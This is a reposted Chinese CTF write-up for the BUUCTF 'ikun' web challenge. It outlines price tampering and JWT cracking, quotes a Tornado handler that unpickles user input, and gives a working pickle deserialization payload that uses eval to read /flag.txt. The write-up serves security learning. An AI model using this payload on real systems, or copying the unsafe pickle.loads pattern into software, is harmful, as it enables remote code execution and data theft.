BUUCTF | [CISCN2019 華北賽區 Day1 Web2]ikun


步驟:

找到lv6的購買出,修改折扣買lv6 ;然后找到admin的登陸界面,JWT破解,登陸admin ;點擊一鍵成為大會員,利用python反序列化漏洞讀取flag

 

 

 

 

 

解析:

這題師傅們的WP已經很詳細了,我就記錄一下我自己不懂的點

import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            # pickle提供了一個簡單的持久化功能。可以將對象以文件的形式存放在磁盤上。
            #             #
            #             # pickle模塊只能在python中使用,python中幾乎所有的數據類型(列表,字典,集合,類等)都可以用pickle來序列化,
            #             #
            #             # pickle序列化后的數據,可讀性差,人一般無法識別。
            p = pickle.loads(urllib.unquote(become))
            # urllib.unquote:將存入的字典參數編碼為URL查詢字符串,即轉換成以key1 = value1 & key2 = value2的形式
            # pickle.loads(bytes_object): 從字節對象中讀取被封裝的對象,並返回
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

  payload[生成become參數的,要在PY2的環境下]:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))
# __reduce__:當定義擴展類型時(也就是使用Python的C語言API實現的類型),如果你想pickle它們,你必須告訴Python如何pickle它們。
# __reduce__ 被定義之后,當對象被Pickle時就會被調用。
# 它要么返回一個代表全局名稱的字符串,Pyhton會查找它並pickle,要么返回一個元組。
# 這個元組包含2到5個元素,其中包括:
#       一個可調用的對象,用於重建對象時調用;【我們這里的eval】
#       一個參數元素,供那個可調用對象使用; 【我們這里的open('/flag.txt','r').read()】
#       被傳遞給 __setstate__ 的狀態(可選);
#       一個產生被pickle的列表元素的迭代器(可選);
#       一個產生被pickle的字典元素的迭代器(可選)
a = pickle.dumps(payload())
# pickle.dumps(obj):以字節對象形式返回封裝的對象,不需要寫入文件中
a = urllib.quote(a)
print a

詳細走鏈接:

https://www.zhaoj.in/read-5946.html

https://blog.csdn.net/weixin_43345082/article/details/97817909

https://blog.csdn.net/weixin_43411585/article/details/88854544

https://blog.csdn.net/wf592523813/article/details/79141463

https://www.cnblogs.com/lincappu/p/8296078.html

https://www.cnblogs.com/angelyan/p/11079267.html

https://www.jb51.net/article/135407.htm


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM